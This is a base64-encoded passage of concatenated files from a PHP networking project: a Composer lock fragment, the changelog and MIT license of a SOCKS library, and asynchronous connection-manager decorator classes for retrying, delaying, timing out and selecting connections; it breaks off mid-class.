CAgICAgICAic3VnZ2VzdCI6IHsKICAgICAgICAgICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAgICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiCiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJ0eXBlIjogImxpYnJhcnkiLAogICAgICAgICAgICAiZXh0cmEiOiB7CiAgICAgICAgICAgICAgICAiYnJhbmNoLWFsaWFzIjogewogICAgICAgICAgICAgICAgICAgICJkZXYtbWFzdGVyIjogIjAuMy1kZXYiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAgICAgICAgICJwc3ItMCI6IHsKICAgICAgICAgICAgICAgICAgICAiUmVhY3RcXFN0cmVhbSI6ICIiCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICJub3RpZmljYXRpb24tdXJsIjogImh0dHBzOi8vcGFja2FnaXN0Lm9yZy9kb3dubG9hZHMvIiwKICAgICAgICAgICAgImxpY2Vuc2UiOiBbCiAgICAgICAgICAgICAgICAiTUlUIgogICAgICAgICAgICBdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iOiAiQmFzaWMgcmVhZGFibGUgYW5kIHdyaXRhYmxlIHN0cmVhbSBpbnRlcmZhY2VzIHRoYXQgc3VwcG9ydCBwaXBpbmcuIiwKICAgICAgICAgICAgImtleXdvcmRzIjogWwogICAgICAgICAgICAgICAgInBpcGUiLAogICAgICAgICAgICAgICAgInN0cmVhbSIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgInRpbWUiOiAiMjAxNC0wMi0xNiAxOTo0ODo1MiIKICAgICAgICB9CiAgICBdLAogICAgInBhY2thZ2VzLWRldiI6IFsKCiAgICBdLAogICAgImFsaWFzZXMiOiBbCgogICAgXSwKICAgICJtaW5pbXVtLXN0YWJpbGl0eSI6ICJzdGFibGUiLAogICAgInN0YWJpbGl0eS1mbGFncyI6IFsKCiAgICBdLAogICAgInByZWZlci1zdGFibGUiOiBmYWxzZSwKICAgICJwbGF0Zm9ybSI6IHsKICAgICAgICAicGhwIjogIj49NS4zIgogICAgfSwKICAgICJwbGF0Zm9ybS1kZXYiOiBbCgogICAgXQp9CiMgQ0hBTkdFTE9HCgpUaGlzIGZpbGUgaXMgYSBtYW51YWxseSBtYWludGFpbmVkIGxpc3Qgb2YgY2hhbmdlcyBmb3IgZWFjaCByZWxlYXNlLiBGZWVsIGZyZWUKdG8gYWRkIHlvdXIgY2hhbmdlcyBoZXJlIHdoZW4gc2VuZGluZyBwdWxsIHJlcXVlc3RzLiBBbHNvIHNlbmQgY29ycmVjdGlvbnMgaWYKeW91IHNwb3QgYW55IG1pc3Rha2VzLgoKIyMgMC4yLjAgKDIwMTQtMDktMjcpCgoqIEJDIGJyZWFrOiBTaW1wbGlmeSBjb25zdHJ1Y3RvcnMgbXkgbWFraW5nIHBhcmFtZXRlcnMgb3B0aW9uYWwuCiAgKFsjMTBdKGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1zb2Nrcy1yZWFjdC9wdWxsLzEwKSkKICAKICBUaGUgYEZhY3RvcnlgIGhhcyBiZWVuIHJlbW92ZWQsIHlvdSBjYW4gbm93IGNyZWF0ZSBpbnN0YW5jZXMgb2YgdGhlIGBDbGllbnRgCiAgYW5kIGBTZXJ2ZXJgIHlvdXJzZWxmOgogIAogIGBgYHBocAogIC8vIG9sZAogICRmYWN0b3J5ID0gbmV3IEZhY3RvcnkoJGxvb3AsICRkbnMpOwogICRjbGllbnQgPSAkZmFjdG9yeS0+Y3JlYXRlQ2xpZW50KCdsb2NhbGhvc3QnLCA5MDUwKTsKICAkc2VydmVyID0gJGZhY3RvcnktPmNyZWF0ZVNldmVyKCRzb2NrZXQpOwogIAogIC8vIG5ldwogICRjbGllbnQgPSBuZXcgQ2xpZW50KCRsb29wLCAnbG9jYWxob3N0JywgOTA1MCk7CiAgJHNlcnZlciA9IG5ldyBTZXJ2ZXIoJGxvb3AsICRzb2NrZXQpOwogIGBgYAoKKiBCQyBicmVhazogUmVtb3ZlIEhUVFAgc3VwcG9ydCBhbmQgbGluayB0byBbY2x1ZS9idXp6LXJlYWN0XShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtYnV6ei1yZWFjdCkgaW5zdGVhZC4KICAoWyM5XShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtc29ja3MtcmVhY3QvcHVsbC85KSkKICAKICBIVFRQIG9wZXJhdGVzIG9uIGEgZGlmZmVyZW50IGxheWVyIHRoYW4gdGhpcyBsb3ctbGV2ZWwgU09DS1MgbGlicmFyeS4KICBSZW1vdmluZyB0aGlzIHJlZHVjZXMgdGhlIGZvb3RwcmludCBvZiB0aGlzIGxpYnJhcnkuCiAgCiAgPiBVcGdyYWRpbmc/IENoZWNrIHRoZSBbUkVBRE1FXShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtc29ja3MtcmVhY3QjaHR0cC1yZXF1ZXN0cykgZm9yIGRldGFpbHMuICAKCiogRml4OiBSZWZhY3RvcmVkIHRvIHN1cHBvcnQgb3RoZXIsIGZhc3RlciBsb29wcyAobGliZXYvbGliZXZlbnQpCiAgKFsjMTJdKGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3BocC1zb2Nrcy1yZWFjdC9wdWxsLzEyKSkKCiogRXhwbGljaXRseSBsaXN0IGRlcGVuZGVuY2llcywgY2xlYW4gdXAgZXhhbXBsZXMgYW5kIGV4dGVuZCB0ZXN0IHN1aXRlIHNpZ25pZmljYW50bHkKCiMjIDAuMS4wICgyMDE0LTA1LTE5KQoKKiBGaXJzdCBzdGFibGUgcmVsZWFzZQoqIEFzeW5jIFNPQ0tTIGBDbGllbnRgIGFuZCBgU2VydmVyYCBpbXBsZW1lbnRhdGlvbgoqIFByb2plY3Qgd2FzIG9yaWdpbmFsbHkgcGFydCBvZiBbY2x1ZS9zb2Nrc10oaHR0cHM6Ly9naXRodWIuY29tL2NsdWUvcGhwLXNvY2tzKQogIGFuZCB3YXMgc3BsaXQgb2ZmIGZyb20gaXRzIGxhdGVzdCByZWxlYXZlIHYwLjQuMAogIChbIzFdKGh0dHBzOi8vZ2l0aHViLmNvbS9jbHVlL3JlYWN0cGhwLXNvY2tzL2lzc3Vlcy8xKSkKCj4gVXBncmFkaW5nIGZyb20gY2x1ZS9zb2NrcyB2MC40LjA/IFVzZSBuYW1lc3BhY2UgYENsdWVcUmVhY3RcU29ja3NgIGluc3RlYWQgb2YgYFNvY2tzYCBhbmQgeW91J3JlIHJlYWR5IHRvIGdvIQoKIyMgMC4wLjAgKDIwMTEtMDQtMjYpCgoqIEluaXRpYWwgY29uY2VwdCwgb3JpZ2luYWxseSB0cmFja2VkIGFzIHBhcnQgb2YKICBbY2x1ZS9zb2Nrc10oaHR0cHM6Ly9naXRodWIuY29tL2NsdWUvcGhwLXNvY2tzKQpUaGUgTUlUIExpY2Vuc2UgKE1JVCkKCkNvcHlyaWdodCAoYykgMjAxMyBDaHJpc3RpYW4gTMO8Y2sKClBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZyBhIGNvcHkKb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUgIlNvZnR3YXJlIiksIHRvIGRlYWwKaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cwp0byB1c2UsIGNvcHksIG1vZGlmeSwgbWVyZ2UsIHB1Ymxpc2gsIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsCmNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0byBwZXJtaXQgcGVyc29ucyB0byB3aG9tIHRoZSBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQKdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOgoKVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUgaW5jbHVkZWQgaW4gYWxsCmNvcGllcyBvciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuCgpUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgIkFTIElTIiwgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwgRVhQUkVTUyBPUgpJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4gSU4gTk8gRVZFTlQgU0hBTEwgVEhFCkFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIKTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwKT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUgU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTgpUSEUgU09GVFdBUkUuCjw/cGhwCgpuYW1lc3BhY2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmE7Cgp1c2UgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZTsKdXNlIFxJbnZhbGlkQXJndW1lbnRFeGNlcHRpb247CnVzZSBSZWFjdFxQcm9taXNlXERlZmVycmVkOwp1c2UgXEV4Y2VwdGlvbjsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyUmVwZWF0IGltcGxlbWVudHMgQ29ubmVjdG9ySW50ZXJmYWNlCnsKICAgIHByb3RlY3RlZCAkY29ubmVjdGlvbk1hbmFnZXI7CiAgICBwcm90ZWN0ZWQgJG1heGltdW1SZXBldGl0aW9uczsKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdGlvbk1hbmFnZXIsICRtYXhpbXVtUmVwZXRpdG9ucykKICAgIHsKICAgICAgICBpZiAoJG1heGltdW1SZXBldGl0b25zIDwgMSkgewogICAgICAgICAgICB0aHJvdyBuZXcgSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uKCdNYXhpbXVtIG51bWJlciBvZiByZXBldGl0aW9ucyBtdXN0IGJlID49IDEnKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb25NYW5hZ2VyID0gJGNvbm5lY3Rpb25NYW5hZ2VyOwogICAgICAgICR0aGlzLT5tYXhpbXVtUmVwZXRpdGlvbnMgPSAkbWF4aW11bVJlcGV0aXRvbnM7CiAgICB9CiAgICAKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGhvc3QsICRwb3J0KQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+dHJ5Q29ubmVjdGlvbigkdGhpcy0+bWF4aW11bVJlcGV0aXRpb25zLCAkaG9zdCwgJHBvcnQpOwogICAgfQogICAgCiAgICBwdWJsaWMgZnVuY3Rpb24gdHJ5Q29ubmVjdGlvbigkcmVwZWF0LCAkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICByZXR1cm4gJHRoaXMtPmNvbm5lY3Rpb25NYW5hZ2VyLT5jcmVhdGUoJGhvc3QsICRwb3J0KS0+dGhlbigKICAgICAgICAgICAgbnVsbCwKICAgICAgICAgICAgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkcmVwZWF0LCAkdGhhdCkgewogICAgICAgICAgICAgICAgaWYgKCRyZXBlYXQgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGF0LT50cnlDb25uZWN0aW9uKCRyZXBlYXQgLSAxLCAkaG9zdCwgJHBvcnQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCdDb25uZWN0aW9uIHN0aWxsIGZhaWxzIGV2ZW4gYWZ0ZXIgcmVwZWF0aW5nJywgMCwgJGVycm9yKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYTsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwp1c2UgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZDsKdXNlIFxFeGNlcHRpb247CgovLyBhIHNpbXBsZSBjb25uZWN0aW9uIG1hbmFnZXIgdGhhdCByZWplY3RzIGV2ZXJ5IHNpbmdsZSBjb25uZWN0aW9uIGF0dGVtcHQKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJGRlZmVycmVkLT5yZWplY3QobmV3IEV4Y2VwdGlvbignQ29ubmVjdGlvbiByZWplY3RlZCcpKTsKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYTsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwp1c2UgUmVhY3RcRXZlbnRMb29wXExvb3BJbnRlcmZhY2U7CnVzZSBSZWFjdFxQcm9taXNlXERlZmVycmVkOwp1c2UgRXhjZXB0aW9uOwoKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJUaW1lb3V0IGltcGxlbWVudHMgQ29ubmVjdG9ySW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJGNvbm5lY3Rpb25NYW5hZ2VyOwogICAgcHJpdmF0ZSAkbG9vcDsKICAgIHByaXZhdGUgJHRpbWVvdXQ7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdGlvbk1hbmFnZXIsIExvb3BJbnRlcmZhY2UgJGxvb3AsICR0aW1lb3V0KQogICAgewogICAgICAgICR0aGlzLT5jb25uZWN0aW9uTWFuYWdlciA9ICRjb25uZWN0aW9uTWFuYWdlcjsKICAgICAgICAkdGhpcy0+bG9vcCA9ICRsb29wOwogICAgICAgICR0aGlzLT50aW1lb3V0ID0gJHRpbWVvdXQ7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJGRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CiAgICAgICAgJHRpbWVkb3V0ID0gZmFsc2U7CgogICAgICAgICR0aWQgPSAkdGhpcy0+bG9vcC0+YWRkVGltZXIoJHRoaXMtPnRpbWVvdXQsIGZ1bmN0aW9uKCkgdXNlICgkZGVmZXJyZWQsICYkdGltZWRvdXQpIHsKICAgICAgICAgICAgJGRlZmVycmVkLT5yZWplY3QobmV3IEV4Y2VwdGlvbignQ29ubmVjdGlvbiBhdHRlbXB0IHRpbWVkIG91dCcpKTsKICAgICAgICAgICAgJHRpbWVkb3V0ID0gdHJ1ZTsKICAgICAgICAgICAgLy8gVE9ETzogZmluZCBhIHByb3BlciB3YXkgdG8gYWN0dWFsbHkgY2FuY2VsIHRoZSBjb25uZWN0aW9uCiAgICAgICAgfSk7CgogICAgICAgICRsb29wID0gJHRoaXMtPmxvb3A7CiAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb25NYW5hZ2VyLT5jcmVhdGUoJGhvc3QsICRwb3J0KS0+dGhlbihmdW5jdGlvbiAoJGNvbm5lY3Rpb24pIHVzZSAoJHRpZCwgJGxvb3AsICYkdGltZWRvdXQsICRkZWZlcnJlZCkgewogICAgICAgICAgICBpZiAoJHRpbWVkb3V0KSB7CiAgICAgICAgICAgICAgICAvLyBjb25uZWN0aW9uIHN1Y2Nlc3NmdWxseSBlc3RhYmxpc2hlZCBidXQgdGltZW91dCBhbHJlYWR5IGV4cGlyZWQgPT4gY2xvc2Ugc3VjY2Vzc2Z1bCBjb25uZWN0aW9uCiAgICAgICAgICAgICAgICAkY29ubmVjdGlvbi0+ZW5kKCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkbG9vcC0+Y2FuY2VsVGltZXIoJHRpZCk7CiAgICAgICAgICAgICAgICAkZGVmZXJyZWQtPnJlc29sdmUoJGNvbm5lY3Rpb24pOwogICAgICAgICAgICB9CiAgICAgICAgfSwgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkbG9vcCwgJHRpZCwgJGRlZmVycmVkKSB7CiAgICAgICAgICAgICRsb29wLT5jYW5jZWxUaW1lcigkdGlkKTsKICAgICAgICAgICAgJGRlZmVycmVkLT5yZWplY3QoJGVycm9yKTsKICAgICAgICB9KTsKICAgICAgICByZXR1cm4gJGRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYTsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwoKLy8gY29ubmVjdGlvbiBtYW5hZ2VyIGRlY29yYXRvciB3aGljaCBzaW1wbGlmaWVzIGV4Y2hhbmdpbmcgdGhlIGFjdHVhbCBjb25uZWN0aW9uIG1hbmFnZXIgZHVyaW5nIHJ1bnRpbWUKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJTd2FwcGFibGUgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHJvdGVjdGVkICRjb25uZWN0aW9uTWFuYWdlcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoQ29ubmVjdG9ySW50ZXJmYWNlICRjb25uZWN0aW9uTWFuYWdlcikKICAgIHsKICAgICAgICAkdGhpcy0+Y29ubmVjdGlvbk1hbmFnZXIgPSAkY29ubmVjdGlvbk1hbmFnZXI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jb25uZWN0aW9uTWFuYWdlci0+Y3JlYXRlKCRob3N0LCAkcG9ydCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNldENvbm5lY3Rpb25NYW5hZ2VyKENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdGlvbk1hbmFnZXIpCiAgICB7CiAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb25NYW5hZ2VyID0gJGNvbm5lY3Rpb25NYW5hZ2VyOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmE7Cgp1c2UgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZTsKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZDsKCmNsYXNzIENvbm5lY3Rpb25NYW5hZ2VyRGVsYXkgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkY29ubmVjdGlvbk1hbmFnZXI7CiAgICBwcml2YXRlICRsb29wOwogICAgcHJpdmF0ZSAkZGVsYXk7CiAgICAKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChDb25uZWN0b3JJbnRlcmZhY2UgJGNvbm5lY3Rpb25NYW5hZ2VyLCBMb29wSW50ZXJmYWNlICRsb29wLCAkZGVsYXkpCiAgICB7CiAgICAgICAgJHRoaXMtPmNvbm5lY3Rpb25NYW5hZ2VyID0gJGNvbm5lY3Rpb25NYW5hZ2VyOwogICAgICAgICR0aGlzLT5sb29wID0gJGxvb3A7CiAgICAgICAgJHRoaXMtPmRlbGF5ID0gJGRlbGF5OwogICAgfQogICAgCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRob3N0LCAkcG9ydCkKICAgIHsKICAgICAgICAkZGVmZXJyZWQgPSBuZXcgRGVmZXJyZWQoKTsKICAgICAgICAKICAgICAgICAkY29ubmVjdGlvbk1hbmFnZXIgPSAkdGhpcy0+Y29ubmVjdGlvbk1hbmFnZXI7CiAgICAgICAgJHRoaXMtPmxvb3AtPmFkZFRpbWVyKCR0aGlzLT5kZWxheSwgZnVuY3Rpb24oKSB1c2UgKCRkZWZlcnJlZCwgJGNvbm5lY3Rpb25NYW5hZ2VyLCAkaG9zdCwgJHBvcnQpIHsKICAgICAgICAgICAgJGNvbm5lY3Rpb25NYW5hZ2VyLT5jcmVhdGUoJGhvc3QsICRwb3J0KS0+dGhlbigKICAgICAgICAgICAgICAgIGFycmF5KCRkZWZlcnJlZCwgJ3Jlc29sdmUnKSwKICAgICAgICAgICAgICAgIGFycmF5KCRkZWZlcnJlZCwgJ3JlamVjdCcpCiAgICAgICAgICAgICk7CiAgICAgICAgfSk7CiAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcTXVsdGlwbGU7CgpjbGFzcyBDb25uZWN0aW9uTWFuYWdlclJhbmRvbSBleHRlbmRzIENvbm5lY3Rpb25NYW5hZ2VyQ29uc2VjdXRpdmUKewogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSgkaG9zdCwgJHBvcnQpCiAgICB7CiAgICAgICAgJG1hbmFnZXJzID0gJHRoaXMtPm1hbmFnZXJzOwogICAgICAgIHNodWZmbGUoJG1hbmFnZXJzKTsKICAgICAgICAKICAgICAgICByZXR1cm4gJHRoaXMtPnRyeUNvbm5lY3Rpb24oJG1hbmFnZXJzLCAkaG9zdCwgJHBvcnQpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgQ29ubmVjdGlvbk1hbmFnZXJcRXh0cmFcTXVsdGlwbGU7Cgp1c2UgUmVhY3RcU29ja2V0Q2xpZW50XENvbm5lY3RvckludGVyZmFjZTsKdXNlIFJlYWN0XFByb21pc2VcRGVmZXJyZWQ7CnVzZSBcVW5kZXJmbG93RXhjZXB0aW9uOwoKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJDb25zZWN1dGl2ZSBpbXBsZW1lbnRzIENvbm5lY3RvckludGVyZmFjZQp7CiAgICBwcm90ZWN0ZWQgJG1hbmFnZXJzID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQ29ubmVjdGlvbk1hbmFnZXIoQ29ubmVjdG9ySW50ZXJmYWNlICRjb25uZWN0aW9uTWFuYWdlcikKICAgIHsKICAgICAgICAkdGhpcy0+bWFuYWdlcnMgW109ICRjb25uZWN0aW9uTWFuYWdlcjsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRob3N0LCAkcG9ydCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRyeUNvbm5lY3Rpb24oJHRoaXMtPm1hbmFnZXJzLCAkaG9zdCwgJHBvcnQpOwogICAgfQoKICAgIC8qKgogICAgICoKICAgICAqIEBwYXJhbSBDb25uZWN0b3JJbnRlcmZhY2VbXSAkbWFuYWdlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhvc3QKICAgICAqIEBwYXJhbSBpbnQgJHBvcnQKICAgICAqIEByZXR1cm4gUHJvbWlzZQogICAgICogQGludGVybmFsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB0cnlDb25uZWN0aW9uKGFycmF5ICRtYW5hZ2VycywgJGhvc3QsICRwb3J0KQogICAgewogICAgICAgIGlmICghJG1hbmFnZXJzKSB7CiAgICAgICAgICAgICRkZWZlcnJlZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICAgICAkZGVmZXJyZWQtPnJlamVjdChuZXcgVW5kZXJmbG93RXhjZXB0aW9uKCdObyBtb3JlIG1hbmFnZXJzIHRvIHRyeSB0byBjb25uZWN0IHRocm91Z2gnKSk7CiAgICAgICAgICAgIHJldHVybiAkZGVmZXJyZWQtPnByb21pc2UoKTsKICAgICAgICB9CiAgICAgICAgJG1hbmFnZXIgPSBhcnJheV9zaGlmdCgkbWFuYWdlcnMpOwogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgcmV0dXJuICRtYW5hZ2VyLT5jcmVhdGUoJGhvc3QsJHBvcnQpLT50aGVuKG51bGwsIGZ1bmN0aW9uKCkgdXNlICgkdGhhdCwgJG1hbmFnZXJzLCAkaG9zdCwgJHBvcnQpIHsKICAgICAgICAgICAgLy8gY29ubmVjdGlvbiBmYWlsZWQsIHJlLXRyeSB3aXRoIHJlbWFpbmluZyBjb25uZWN0aW9uIG1hbmFnZXJzCiAgICAgICAgICAgIHJldHVybiAkdGhhdC0+dHJ5Q29ubmVjdGlvbigkbWFuYWdlcnMsICRob3N0LCAkcG9ydCk7CiAgICAgICAgfSk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBDb25uZWN0aW9uTWFuYWdlclxFeHRyYVxNdWx0aXBsZTsKCnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9ySW50ZXJmYWNlOwp1c2UgUmVhY3RcUHJvbWlzZVxEZWZlcnJlZDsKdXNlIFxVbmRlcmZsb3dFeGNlcHRpb247CnVzZSBcSW52YWxpZEFyZ3VtZW50RXhjZXB0aW9uOwoKY2xhc3MgQ29ubmVjdGlvbk1hbmFnZXJTZWxlY3RpdmUgaW1wbGVtZW50cyBDb25uZWN0b3JJbnRlcmZhY2UKewogICAgY29uc3QgTUFUQ0hfQUxMID0gJyonOwoKICAgIHByaXZhdGUgJHRhcmdldHMgPSBhcnJheSgpOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGhvc3QsICRwb3J0KQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRjbSA9ICR0aGlzLT5nZXRDb25uZWN0aW9uTWFuYWdlckZvcigkaG9zdCwgJHBvcnQpOwogICAgICAgIH0KICAgICAgICBjYXRjaCAoVW5kZXJmbG93RXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICRkZWZlcnJlZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICAgICAkZGVmZXJyZWQtPnJlamVjdCgkZSk7CiAgICAgICAgICAgIHJldHVybiAkZGVmZXJyZWQtPnByb21pc2UoKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRjbS0+Y3JlYXRlKCRob3N0LCAkcG9ydCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGFkZENvbm5lY3Rpb25NYW5hZ2VyRm9yKCRjb25uZWN0aW9uTWFuYWdlciwgJHRhcmdldEhvc3Q9c2VsZjo6TUFUQ0hfQUxMLCAkdGFyZ2V0UG9ydD1zZWxmOjpNQVRDSF9BTEwsICRwcmlvcml0eT0wKQogICAgewogICAgICAgICR0aGlzLT50YXJnZXRzIFtdPSBhcnJheSgKICAgICAgICAgICAgJ2Nvbm5lY3Rpb25NYW5hZ2VyJyA9PiAkY29ubmVjdGlvbk1hbmFnZXIsCiAgICAgICAgICAgICdtYXRjaEhvc3QnID0+ICR0aGlzLT5jcmVhdGVNYXRjaGVySG9zdCgkdGFyZ2V0SG9zdCksCiAgICAgICAgICAgICdtYXRjaFBvcnQnID0+ICR0aGlzLT5jcmVhdGVNYXRjaGVyUG9ydCgkdGFyZ2V0UG9ydCksCiAgICAgICAgICAgICdob3N0JyAgICAgID0+ICR0YXJnZXRIb3N0LAogICAgICAgICAgICAncG9ydCcgICAgICA9PiAkdGFyZ2V0UG9ydCwKICAgICAgICAgICAgJ3ByaW9yaXR5JyAgPT4gJHByaW9yaXR5CiAgICAgICAgKTsKCiAgICAgICAgLy8gcmV0dXJuIHRoZSBrZXkgYXMgbmV3IGVudHJ5IElECiAgICAgICAgZW5kKCR0aGlzLT50YXJnZXRzKTsKICAgICAgICAkaWQgPSBrZXkoJHRoaXMtPnRhcmdldHMpOwoKICAgICAgICAvLyBzb3J0IGFycmF5IGJ5IHByaW9yaXR5CiAgICAgICAgJHRhcmdldHMgPSYgJHRoaXMtPnRhcmdldHM7CiAgICAgICAgdWtzb3J0KCR0aGlzLT50YXJnZXRzLCBmdW5jdGlvbiAoJGEsICRiKSB1c2UgKCR0YXJnZXRzKSB7CiAgICAgICAgICAgICRwYSA9ICR0YXJnZXRzWyRhXVsncHJpb3JpdHknXTsKICAgI